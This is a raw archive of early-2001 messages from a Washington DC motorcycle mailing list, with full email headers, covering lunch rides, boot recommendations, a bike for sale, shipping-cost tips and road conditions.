new dealer in > > Woodbridge? > > According to BuyKawasaki.com > > MOTORCYCLE FACTORY KAWASAKI > 3820 PRINCE WILLIAM PARKWAY > WOODBRIDGE, VA 22192 > (703) 583-9600 Store > (540) 678-0874 Fax > > Leon. __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Tue Feb 20 16:40:46 2001 Return-Path: Received: from web515.mail.yahoo.com (web515.mail.yahoo.com [216.115.104.230]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1KLehn11829 for ; Tue, 20 Feb 2001 16:40:44 -0500 (EST) Message-ID: <20010220213356.611.qmail@web515.mail.yahoo.com> Received: from [216.84.80.204] by web515.mail.yahoo.com; Tue, 20 Feb 2001 13:33:56 PST Date: Tue, 20 Feb 2001 13:33:56 -0800 (PST) From: Tom Gimer Subject: Re: Lunch Time Ride in Feb :o) To: dc-cycles@XXXXXX In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii --- George Cole wrote: > Hey all, > > Did anyone get out today? I did a loop on Georgetown Pike > to River Bend around to Rt 7 and back, absolutely > wonderful, only a few cages. i got out for a while, out near sugarloaf mountain in mont/fred. counties.....however, slow cages were scattered throughout that area. i did see a good number of m/cs. > Now back to work :o(. no shit....it's tough to watch the bikes continue to roll past my window -- tg __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Tue Feb 20 19:14:19 2001 Return-Path: Received: from web310.mail.yahoo.com (web310.mail.yahoo.com [216.115.105.75]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1L0EIn14370 for ; Tue, 20 Feb 2001 19:14:18 -0500 (EST) Message-ID: <20010221001417.12961.qmail@web310.mail.yahoo.com> Received: from [64.157.63.75] by web310.mail.yahoo.com; Tue, 20 Feb 2001 16:14:17 PST Date: Tue, 20 Feb 2001 16:14:17 -0800 (PST) From: "Louis F. Caplan" Subject: Re: Lunch Time Ride in Feb :o) To: dc-cycles@XXXXXX In-Reply-To: <20010220213356.611.qmail@web515.mail.yahoo.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii > Hey all, > > Did anyone get out today? I did a loop on Georgetown Pike > to River Bend around to Rt 7 and back, absolutely > wonderful, only a few cages. My #@%#$^ headlight went out as I started my bike this morning. I ride in at 6 am, so couldn't go without the light. Had to take the cage. :-( When I got home, I did take the bike to Trak to get a new bulb. Now I just have to get it in... Louis __________________________________________________ Do You Yahoo!? Yahoo! Auctions - Buy the things you want at great prices! http://auctions.yahoo.com/ From dc-cycles-request Tue Feb 20 19:35:19 2001 Return-Path: Received: from atlas.niaid.nih.gov (atlas.niaid.nih.gov [128.231.240.60]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1L0ZIn14748 for ; Tue, 20 Feb 2001 19:35:18 -0500 (EST) Received: by atlas.niaid.nih.gov with Internet Mail Service (5.5.2653.19) id <15HPZPJX>; Tue, 20 Feb 2001 19:35:17 -0500 Message-ID: <1A8D3CB9ED99D411AF5400D0B720F654D03A0D@atlas.niaid.nih.gov> From: Carsten Watzl To: "'dc-cycles@XXXXXX'" Subject: Motorcycle boots Date: Tue, 20 Feb 2001 19:35:17 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain I am in the market for motorcycle boots. On the web I found some that look good: TEKNIC: Lightning Boots or Silverstone Boots Alpinestars: GPS Boots or STPro Gore-Tex Boots I need them for street riding only. Does anyone has some experience with those or similar boots? Also, I would like to try them on, but so far, I couldn't find them at a dealer in my size (12-13). Does anybody know a dealer that has some selection in boots? Thanks, Carsten From dc-cycles-request Tue Feb 20 20:09:27 2001 Return-Path: Received: from web11204.mail.yahoo.com (web11204.mail.yahoo.com [216.136.131.186]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1L19Pn15219 for ; Tue, 20 Feb 2001 20:09:26 -0500 (EST) Message-ID: <20010221010920.40092.qmail@web11204.mail.yahoo.com> Received: from [63.44.199.26] by web11204.mail.yahoo.com; Tue, 20 Feb 2001 17:09:20 PST Date: Tue, 20 Feb 2001 17:09:20 -0800 (PST) From: Matthew Rosenstock Subject: Re: Motorcycle boots To: dc-cycles@XXXXXX In-Reply-To: <1A8D3CB9ED99D411AF5400D0B720F654D03A0D@atlas.niaid.nih.gov> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I have the Alpinestars GPS boots. They are terrific. They fit great and are comfortable to wear all day. Some days that I ride, I wear them all day at work. Nobody really notices they're motorcycle boots unless I tell them. I bought mine at CycleWorld on route 2 in MD. I highly recommend them. Matt in B-more, looking in Rockville --- Carsten Watzl wrote: > I am in the market for motorcycle boots. On the web > I found some that look > good: > > TEKNIC: Lightning Boots or Silverstone Boots > Alpinestars: GPS Boots or STPro Gore-Tex Boots > __________________________________________________ Do You Yahoo!? Yahoo! Auctions - Buy the things you want at great prices! http://auctions.yahoo.com/ From dc-cycles-request Tue Feb 20 20:40:10 2001 Return-Path: Received: from web5205.mail.yahoo.com (web5205.mail.yahoo.com [216.115.106.86]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1L1e8n15735 for ; Tue, 20 Feb 2001 20:40:08 -0500 (EST) Message-ID: <20010221014006.24018.qmail@web5205.mail.yahoo.com> Received: from [165.247.96.79] by web5205.mail.yahoo.com; Tue, 20 Feb 2001 17:40:06 PST Date: Tue, 20 Feb 2001 17:40:06 -0800 (PST) From: Corbett B Subject: Re: Lunch Time Ride in Feb :o) To: DC Cycles In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I made it out today. My buddies and I have friends visiting from the UK that build custom bikes. We let 'em borrow a couple of bikes and the five of us rode through Olney & Burkitsville, MD...into Harpers Ferry, WV, back through Leesburg, VA...stopped in Paynes Biker bar for a burger and looped back down route 7 & 123 through McLean and returned to Arlington. Great ride through the country, very little traffic. Hit a few raindrops in WV and it got a little windy in the valleys but overall a nice day for a ride. I think we logged around 170 miles but wanted to get back before the temps started dropping too much. -Corbett '99 BMW K1200RS --- George Cole wrote: > Hey all, > > Did anyone get out today? I did a loop on Georgetown > Pike to River Bend around to Rt 7 and back, > absolutely wonderful, only a few cages. > > Now back to work :o(. > > George Cole > 00 VFR > 99 R6 needs tags soon. > > > > George M Cole > Senior Account Manager > www.boisetech.com > 301-523-4161 > FAX 1-888-240-3154 > Customer Service 1-800-525-9500 > > Boise Technology > > SUN Microsystems, Marconi Switches > Web Page Design/Hosting, e-Commerce. > Do you need Certified Contract help? > Short or long term, all types available. > Networking, BreakFix, Desktop, etc. > We can provide the people you need. > > Prevent Disaster, Premote Technology > With BOISE, it couldn't be easier. > __________________________________________________ Do You Yahoo!? Yahoo! Auctions - Buy the things you want at great prices! http://auctions.yahoo.com/ From dc-cycles-request Tue Feb 20 21:10:09 2001 Return-Path: Received: from smtp01.mrf.mail.rcn.net (smtp01.mrf.mail.rcn.net [207.172.4.60]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1L2A8n16254 for ; Tue, 20 Feb 2001 21:10:08 -0500 (EST) Received: from 207-172-106-20.s20.tnt2.war.va.dialup.rcn.com ([207.172.106.20] helo=oemcomputer) by smtp01.mrf.mail.rcn.net with smtp (Exim 3.16 #5) id 14VOjG-00036E-00 for dc-cycles@XXXXXX; Tue, 20 Feb 2001 21:10:06 -0500 Message-ID: <006e01c09bab$4b3ee5a0$146aaccf@oemcomputer> From: "Danny Thompson" To: References: <20010221010920.40092.qmail@web11204.mail.yahoo.com> Subject: Re: Motorcycle boots Date: Tue, 20 Feb 2001 21:09:13 -0500 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 What Matt said. I got mine at Bob's BMW, they had lots of pairs so that I could try on different sizes and types. Danny '98 VTR '00 SV (For Sale) '99 SV (race bike) Novice #903 www.onewayracing.org Sponsored by: Shen Valley Trailers: www.shenvalleywarrenton.com, toll free @ 888-743-6825 Blalock Cycle: www.blalockcycle.com, 540-347-4591 ----- Original Message ----- From: Matthew Rosenstock To: Sent: Tuesday, February 20, 2001 8:09 PM Subject: Re: Motorcycle boots > I have the Alpinestars GPS boots. They are terrific. > They fit great and are comfortable to wear all day. > Some days that I ride, I wear them all day at work. > Nobody really notices they're motorcycle boots unless > I tell them. snip..... From dc-cycles-request Tue Feb 20 21:34:21 2001 Return-Path: Received: from web9007.mail.yahoo.com (web9007.mail.yahoo.com [216.136.128.169]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1L2YKn16643 for ; Tue, 20 Feb 2001 21:34:20 -0500 (EST) Message-ID: <20010221023418.85927.qmail@web9007.mail.yahoo.com> Received: from [32.101.173.138] by web9007.mail.yahoo.com; Tue, 20 Feb 2001 18:34:18 PST Date: Tue, 20 Feb 2001 18:34:18 -0800 (PST) From: Tight Squeeze Racing Subject: FS: '95 Honda F3 To: dc-cycles@XXXXXX MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii This is a pre-spam spam. The owner's wife informed me tonight that he 'wants' to sell this bike. :-) Seriously though, they popped a baby out in Oct, so riding must take a back seat, for now. '95 Honda F3 One owner Never wrecked Low milage Fancy Trunk Kit, instead of bolts Garage kept Good Tires $...Undetermined, but offer I know it's not much info to go on, but if you know someone looking to get into the sport, this is a great bike for them. Plenty of power and flickability for all levels of riders. Thanks, Steve Clark Win $5000 and help an injured rider http://www.tightsqueezeracing.org/Raffle.htm __________________________________________________ Do You Yahoo!? Yahoo! Auctions - Buy the things you want at great prices! http://auctions.yahoo.com/ From dc-cycles-request Tue Feb 20 22:04:03 2001 Return-Path: Received: from smtp016.mail.yahoo.com (smtp016.mail.yahoo.com [216.136.174.113]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1L340n17148 for ; Tue, 20 Feb 2001 22:04:01 -0500 (EST) Received: from ffaxvasp4-2-035.cox.rr.com (HELO ltanner) (24.168.209.35) by smtp.mail.vip.sc5.yahoo.com with SMTP; 21 Feb 2001 03:03:56 -0000 X-Apparently-From: From: "Lin_Tan" To: "DC-CYCLES" Subject: RE: Lunch Time Ride in Feb :o) Date: Tue, 20 Feb 2001 22:04:04 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 In-Reply-To: <20010221014006.24018.qmail@web5205.mail.yahoo.com> Being unemployed these days, I took a ride out to 211 past Skyline. Nice ride, but waaaaay too much sand in those lovely corners. AND, the LEOs were out in full force. Watch out, boys and girls. LindaT. Springfield, VA (suburb of our nation's capital) 99 R1100RT Mr. Buzzy 95 F3 Purple Haze (68K miles and counting...) 00 KLR250 Super Sherpa Tenzing http://www.geocities.com/SunsetStrip/Pit/4807/ _________________________________________________________ Do You Yahoo!? Get your free @yahoo.com address at http://mail.yahoo.com From dc-cycles-request Tue Feb 20 22:25:01 2001 Return-Path: Received: from jefferson.patriot.net (IDENT:root@XXXXXX [209.249.176.3]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1L3Oxn17503 for ; Tue, 20 Feb 2001 22:24:59 -0500 (EST) Received: from patriot.net (pool180-126.patriot.net [209.249.180.126]) by jefferson.patriot.net (8.10.1/8.10.1) with ESMTP id f1L3IRx07475; Tue, 20 Feb 2001 22:18:28 -0500 Message-ID: <3A933238.17921E34@patriot.net> Date: Tue, 20 Feb 2001 22:12:56 -0500 From: "William J. Huson" X-Mailer: Mozilla 4.06 [en] (Win98; I) MIME-Version: 1.0 To: George Cole CC: "<" Subject: Re: Lunch Time Ride in Feb :o) References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit No lunch ride, just blasted into work, did my search thang, picked up a check for a few hundred, comiserateed with my fav bank teller (cute!) while cashing check, a distraught NASCAR fan, and then blasted back home. Lunch was grab it and growl, time is money, but being self employed I'll be taking a few looonngg weekends soon as the sun shows it's face. Bill George Cole wrote: > Hey all, > > Did anyone get out today? I did a loop on Georgetown Pike to River Bend around to Rt 7 and back, absolutely wonderful, only a few cages. > > Now back to work :o(. > > George Cole > 00 VFR > 99 R6 needs tags soon. > > George M Cole > Senior Account Manager > www.boisetech.com > 301-523-4161 > FAX 1-888-240-3154 > Customer Service 1-800-525-9500 > > Boise Technology > > SUN Microsystems, Marconi Switches > Web Page Design/Hosting, e-Commerce. > Do you need Certified Contract help? > Short or long term, all types available. > Networking, BreakFix, Desktop, etc. > We can provide the people you need. > > Prevent Disaster, Premote Technology > With BOISE, it couldn't be easier. From dc-cycles-request Wed Feb 21 20:35:29 2001 Return-Path: Received: from jefferson.patriot.net (IDENT:root@XXXXXX [209.249.176.3]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1M1ZSn09447 for ; Wed, 21 Feb 2001 20:35:28 -0500 (EST) Received: from patriot.net (pool181-3.patriot.net [209.249.181.3]) by jefferson.patriot.net (8.10.1/8.10.1) with ESMTP id f1M0YSx20447 for ; Wed, 21 Feb 2001 19:34:28 -0500 Message-ID: <3A945D47.E1074B0A@patriot.net> Date: Wed, 21 Feb 2001 19:28:55 -0500 From: "William J. Huson" X-Mailer: Mozilla 4.06 [en] (Win98; I) MIME-Version: 1.0 To: dc-cycles@XXXXXX Subject: Paging Erik - boat race dates... Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Lost your email addy in the crash. Spring Camden, April 21/22. And the latest news is we may get Denton MD back, no date yet. Is the article still a go? Bill From dc-cycles-request Wed Feb 21 20:50:40 2001 Return-Path: Received: from tisch.mail.mindspring.net (tisch.mail.mindspring.net [207.69.200.157]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1M1ocn09785 for ; Wed, 21 Feb 2001 20:50:39 -0500 (EST) Received: from ix.netcom.com (vna-va15-37.ix.netcom.com [207.223.179.101]) by tisch.mail.mindspring.net (8.9.3/8.8.5) with ESMTP id JAA09542; Wed, 21 Feb 2001 09:47:42 -0500 (EST) Message-ID: <3A93D56D.3DAFDB20@ix.netcom.com> Date: Wed, 21 Feb 2001 09:49:17 -0500 From: Chuck Pena Reply-To: the_penas@XXXXXX X-Mailer: Mozilla 4.7 [en] (Win95; I) X-Accept-Language: en MIME-Version: 1.0 To: DC Cycles , DCCycles2 Subject: Ordering from Motorcycle Accessory Warehouse Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit I don't know how many of your order (or plan to order) stuff from Motorcycle Accessory Warehouse, but here's a bit of useful info... When you place your order (or right after you place your order), tell them you want a freight adjustment. For all orders, there is a $3.95 handling charge and then the shipping on top of that. When you place your order, the shipping is estimated. They also generally assume that all the stuff is shipped separately. In other words, a lot of the time it's an overestimate of what it actually costs them to ship to you. But unless you ask them for a freight adjustment, they'll just charge you more even though it doesn't cost them more (i.e., that's pure profit to them and a lot of times can make their attractive discount pricing less of a deal than you thought). I found this out when I ordered a set of Renthal sprockets from MAW (they're one of the few "discount" places left that still sells Renthal). Their pricing was pretty decent. But I was shocked at their shipping costs. So I talked to a nice person (girl) in customer service. Their website has estimates for various items. I pointed out to her that the shipping on my sprockets was practically double what their website was showing for a helmet, which weighed more and had a larger box. She explained to me their policies about shipping and handling. And then she also told me she could do a freight adjustment and that the difference between what they would have ordinarily charged me and what the actual cost to ship would be refunded to me after the items were actually shipped and they knew what it cost. BOTTOM LINE: Asking for a freight adjustment can save you a few bucks. In my case it was $7.61 (about half of what they were going to charge me if I didn't ask). This is especially true if you have multiple items all coming at once and from the same warehouse (they have several warehouses in various parts of the country and assume in their shipping estimate that the stuff will be coming in separate orders from the warehouse furtheset away). REMEMBER TO ASK FOR A FREIGHT ADJUSTMENT!!! Chuck -- "Wherever you go, there you are." -- Buckaroo Banzai visit us at http://www.geocities.com/the_penas From dc-cycles-request Wed Feb 21 20:59:42 2001 Return-Path: Received: from tove.cs.umd.edu (tove.cs.umd.edu [128.8.128.42]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1M1xfn09937 for ; Wed, 21 Feb 2001 20:59:41 -0500 (EST) Received: from mimsy.cs.umd.edu (mimsy.cs.umd.edu [128.8.128.8]) by tove.cs.umd.edu (8.9.3/8.9.1) with ESMTP id OAA06571 for ; Wed, 21 Feb 2001 14:43:09 -0500 (EST) Received: from gateway.lcsa.org (root@XXXXXX [204.188.41.222]) by mimsy.cs.umd.edu (8.9.3/8.9.1) with ESMTP id OAA21628 for ; Wed, 21 Feb 2001 14:43:07 -0500 (EST) Received: from gwf ([192.168.0.229]) by gateway.lcsa.org (8.9.1/8.9.1) with SMTP id OAA00981 for ; Wed, 21 Feb 2001 14:48:38 -0500 From: "Gary Foreman" To: "DC-Cycles Mailing List" Subject: Free Oil and Filter Change Date: Wed, 21 Feb 2001 14:29:58 -0500 Message-ID: <008001c09c3c$ad693d20$e500a8c0@loudoun.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Importance: Normal Just got a flyer from PowerRide Free Oil & Filter Change only good on 3/3/01 (Saturday) For those who are not DIYers Gary Foreman, TL Owners Club gary@XXXXXX http://www.tl1000.com From dc-cycles-request Wed Feb 21 21:23:35 2001 Return-Path: Received: from vasfw03.fdic.gov (vasfw03.fdic.gov [192.147.69.46]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1M2NYn10373 for ; Wed, 21 Feb 2001 21:23:34 -0500 (EST) Received: by vasfw03.fdic.gov; id HAA12957; Wed, 21 Feb 2001 07:32:49 -0500 (EST) Received: from unknown(151.174.4.145) by vasfw03.fdic.gov via smap (V5.5) id xma012652; Wed, 21 Feb 01 07:31:37 -0500 Received: by s00exc101.fdic.gov with Internet Mail Service (5.5.2651.58) id <1ZM9GRJ8>; Wed, 21 Feb 2001 07:31:37 -0500 Message-ID: <42A213AA7052D21187EB080009DC7807049A6826@s01exc102.fdic.gov> From: "Myles, Gregory S." To: "'Tom Gimer'" , dc-cycles@XXXXXX Subject: RE: Lunch Time Ride in Feb :o) Date: Wed, 21 Feb 2001 07:31:37 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2651.58) Content-Type: text/plain; charset="iso-8859-1" I bugged out of work an hour early in order to stop by Free State Cycle and pick up my new 2001 Gold Wing 1800. Definitely took the looong way home - can't wait for a good weekend to get my ya ya's out. -----Original Message----- From: Tom Gimer [mailto:t_gimer@XXXXXX] Sent: Tuesday, February 20, 2001 4:34 PM To: dc-cycles@XXXXXX Subject: Re: Lunch Time Ride in Feb :o) --- George Cole wrote: > Hey all, > > Did anyone get out today? I did a loop on Georgetown Pike > to River Bend around to Rt 7 and back, absolutely > wonderful, only a few cages. i got out for a while, out near sugarloaf mountain in mont/fred. counties.....however, slow cages were scattered throughout that area. i did see a good number of m/cs. > Now back to work :o(. no shit....it's tough to watch the bikes continue to roll past my window -- tg __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From dc-cycles-request Wed Feb 21 21:42:35 2001 Return-Path: Received: from thehub.knight-hub.com (thehub.knight-hub.com [205.177.16.3]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1M2gZn10737 for ; Wed, 21 Feb 2001 21:42:35 -0500 (EST) Received: from micron (dialas-202.knight-hub.com [205.252.164.202]) by thehub.knight-hub.com (8.9.3/8.9.3) with SMTP id XAA28808 for ; Tue, 20 Feb 2001 23:28:43 -0500 Posted-Date: Tue, 20 Feb 2001 23:28:43 -0500 Message-ID: <004601c09bb4$d7c4ee80$eba4fccd@micron> From: "mobacc" To: "DC-Cycles" Subject: Re: Lunch Time Ride in Feb :o) Date: Tue, 20 Feb 2001 22:16:37 -0500 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0043_01C09B8A.CAC9F880" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-Mimeole: Produced By Microsoft MimeOLE V5.00.2919.6600 This is a multi-part message in MIME format. ------=_NextPart_000_0043_01C09B8A.CAC9F880 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable What are the odds of one's first sportbike experience being in NoVa in = February? =20 While the trusty VN750 being serviced on slow-day Monday, for riding = position reasons the salesman put me on a '00 ZR-7 and said be back in = two hours. A luscious pokearound from Manassas to Clifton to MC Factory = to 234 and back. M i g h t y seductive 50 miles in perfect = weather. =20 Onset of the old Polish curse -- so many options. =20 Bill S. / DC 99 VN750 --> Look at another bike like that, I'll tankslap you silly Join the AMA. Help protect my riding fun. ------=_NextPart_000_0043_01C09B8A.CAC9F880 Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable
What are the odds of one's first sportbike = experience being in=20 NoVa in February? 
 
While the trusty VN750 being serviced on slow-day = Monday, for=20 riding position reasons the salesman put me on a '00 ZR-7 and said be = back in=20 two hours.  A luscious pokearound from Manassas to Clifton to MC = Factory to=20 234 and back.  M  i  g  h  t  y  = seductive 50=20 miles in perfect weather. 
 
Onset of the old Polish curse -- so many = options. =20
 
Bill S. / DC
99 VN750 --> Look at another bike = like=20 that, I'll tankslap you silly
Join the AMA.  Help protect my = riding=20 fun.
 
------=_NextPart_000_0043_01C09B8A.CAC9F880-- From dc-cycles-request Wed Feb 21 21:48:21 2001 Return-Path: Received: from web11206.mail.yahoo.com (web11206.mail.yahoo.com [216.136.131.188]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1M2mKn10821 for ; Wed, 21 Feb 2001 21:48:21 -0500 (EST) Message-ID: <20010221132139.54888.qmail@web11206.mail.yahoo.com> Received: from [153.2.246.12] by web11206.mail.yahoo.com; Wed, 21 Feb 2001 05:21:39 PST Date: Wed, 21 Feb 2001 05:21:39 -0800 (PST) From: Matthew Rosenstock Subject: RE: Lunch Time Ride in Feb :o) To: DC-CYCLES@XXXXXX In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I have been driving around Rockville a lot lately as I'm looking for a house. (I live in Baltimore now) What's with all the sand in the road? Is that Montgomery County's answer to snow? It's pretty awful. How long does it take for the sand to disappear? April showers? Matt --- Lin_Tan wrote: > Being unemployed these days, I took a ride out to > 211 past Skyline. Nice > ride, but waaaaay too much sand in those lovely > corners. AND, the LEOs were > out in full force. > > Watch out, boys and girls. > > LindaT. > Springfield, VA (suburb of our nation's capital) > 99 R1100RT Mr. Buzzy > 95 F3 Purple Haze (68K miles and counting...) > 00 KLR250 Super Sherpa Tenzing > http://www.geocities.com/SunsetStrip/Pit/4807/ > > > > _________________________________________________________ > Do You Yahoo!? > Get your free @yahoo.com address at > http://mail.yahoo.com > __________________________________________________ Do You Yahoo!? Yahoo! Auctions - Buy the things you want at great prices! http://auctions.yahoo.com/ From dc-cycles-request Wed Feb 21 22:45:01 2001 Return-Path: Received: from bc-gwgate1.int.bcop.com (bcopgate.bcop.com [204.99.250.45]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1M3j0n11842 for ; Wed, 21 Feb 2001 22:45:01 -0500 (EST) Received: from BCGATE-DOM-Message_Server by bc-gwgate1.int.bcop.com with Novell_GroupWise; Wed, 21 Feb 2001 08:38:06 -0600 Message-Id: X-Mailer: Novell GroupWise Internet Agent 5.5.3.1 Date: Wed, 21 Feb 2001 08:11:48 -0600 From: "George Cole" To: , Subject: Re: Motorcycle boots Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by dirty.meretrix.com id f1M3jMn11860 Carsten, Check out AGV.com, they are located in Frederick MD so delivery is within a day or so http://www.agv.com/agvstore/index.htm I bought a pair of their 580 roadrace boots for $ 120.00, they are actually Prexport boots, very comfortable with good protection. George >>> Carsten Watzl 02/20/01 07:35PM >>> I am in the market for motorcycle boots. On the web I found some that look good: TEKNIC: Lightning Boots or Silverstone Boots Alpinestars: GPS Boots or STPro Gore-Tex Boots I need them for street riding only. Does anyone has some experience with those or similar boots? Also, I would like to try them on, but so far, I couldn't find them at a dealer in my size (12-13). Does anybody know a dealer that has some selection in boots? Thanks, Carsten From dc-cycles-request Wed Feb 21 23:16:48 2001 Return-Path: Received: from dchqexs1.fsis.usda.gov (wsc.ag.gov.203.128.199.in-addr.arpa [199.128.203.12] (may be forged)) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1M4Gln12416 for ; Wed, 21 Feb 2001 23:16:47 -0500 (EST) Received: by wsc.ag.gov.203.128.199.in-addr.arpa with Internet Mail Service (5.5.2653.19) id ; Wed, 21 Feb 2001 09:24:01 -0500 Message-ID: <776B2ABC9364D411867B009027B69A2F01612DB0@DCHQCLEXHQ> From: "Custer, Carl" To: "'DCCycles'" Subject: Tooters 1, BDC 0 Date: Wed, 21 Feb 2001 09:26:53 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Twas a classic set up for getting mashed: Yesterday, approaching the traffic light at Rt 29, there was a line of about eight cages in the left turn only lane and only two cages in the left-straight ahead lane. Needing to turn left, I opted for the shorter line - aware that BDC's sometimes live up to their sobriquet and go wide. So, I made sure that I stayed abreast of the pick up to my left and within the driver's vision. Half way through the corner he began to come into my lane. Keeping my eye on him, I stayed wide but gave him a healthy honk from my tooters. He jumped and dropped his cell phone, 8^D, then looked at me with a "deer caught in the headlights" face. Hee heh. No, it wasn't a Semi just my big honking tooters. PepBoys, $30; tell em Carl sent you. Carl in Bethesda Commuting into your nation's capital since 1981 through sun, rain, over snow, and around road ragers. '80 GS450E (RIP); '85 VF700S (Rocin-ahorito); '83 VF700F (666) '97 Aerostich Roadcrafter (Fred the Red) Commuting into your nation's capital since 1981 through sun, rain, over snow, and around road ragers. '80 GS450E (RIP); '85 VF700S (Rocin-ahorito); '83 VF700F (666) '97 Aerostich Roadcrafter (Fred the Red) Don't need no loud pipes; I got big honking tooters: http://members.tripod.com/~v65_magna/sos_99/sat_lunch2.jpg http://www.crosswinds.net/~denbrook/Motorcycles/Events/mmc-2-17-01/Carls_Sab re.jpg From dc-cycles-request Thu Feb 22 05:47:42 2001 Return-Path: Received: from smtp013.mail.yahoo.com (smtp013.mail.yahoo.com [216.136.173.57]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1MAlgn19246 for ; Thu, 22 Feb 2001 05:47:42 -0500 (EST) Received: from 1cust249.tnt1.washington.dc.da.uu.net (HELO pavilion) (63.10.40.249) by smtp.mail.vip.sc5.yahoo.com with SMTP; 22 Feb 2001 10:47:39 -0000 X-Apparently-From: Message-ID: <000b01c09cbd$4a31bee0$f9280a3f@pavilion> From: "ricardopontes" To: References: <42A213AA7052D21187EB080009DC7807049A6826@s01exc102.fdic.gov> Subject: newbie Date: Thu, 22 Feb 2001 05:50:32 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Hello, I am new to the group. I live in Burtonsville, MD. I just started motorcycling. I own a Triumph tiger 1998, and a small 100cc kawasaki ke100. I am hoping to join some group rides if there are some available in this group. I commute everyday to work on my triumph tiger. If anyone would like to ride somewhere it would be great. The furthest i have gone is west virginia, in the george washington national forest area. Ricardo Triumph tiger 98 99 kawasaki ke100 _________________________________________________________ Do You Yahoo!? Get your free @yahoo.com address at http://mail.yahoo.com From dc-cycles-request Thu Feb 22 07:37:16 2001 Return-Path: Received: from hotmail.com (f264.law10.hotmail.com [64.4.14.139]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1MCbFn20890 for ; Thu, 22 Feb 2001 07:37:16 -0500 (EST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Thu, 22 Feb 2001 04:37:09 -0800 Received: from 166.32.192.143 by lw10fd.law10.hotmail.msn.com with HTTP; Thu, 22 Feb 2001 12:37:09 GMT X-Originating-IP: [166.32.192.143] From: "Rob Keiser" To: m_rosenstock@XXXXXX, DC-CYCLES@XXXXXX Subject: RE: Lunch Time Ride in Feb :o) Date: Thu, 22 Feb 2001 07:37:09 -0500 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 22 Feb 2001 12:37:09.0582 (UTC) FILETIME=[2C3CD6E0:01C09CCC] Isn't it wonderful?! not I think they use a mixture of salt/sand/and who knows what else. It usually hangs around until a really good downpour or two, which we haven't had yet. And with the pending snow today, conditions won't be getting any better soon. :( MBPAIP Rob '98 VFR >From: Matthew Rosenstock >To: DC-CYCLES@XXXXXX >Subject: RE: Lunch Time Ride in Feb :o) >Date: Wed, 21 Feb 2001 05:21:39 -0800 (PST) > >I have been driving around Rockville a lot lately as >I'm looking for a house. (I live in Baltimore now) >What's with all the sand in the road? Is that >Montgomery County's answer to snow? It's pretty awful. > >How long does it take for the sand to disappear? April >showers? > >Matt _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From dc-cycles-request Thu Feb 22 07:56:34 2001 Return-Path: Received: from mh1.dot.gov (mh1.dot.gov [152.119.25.210]) by 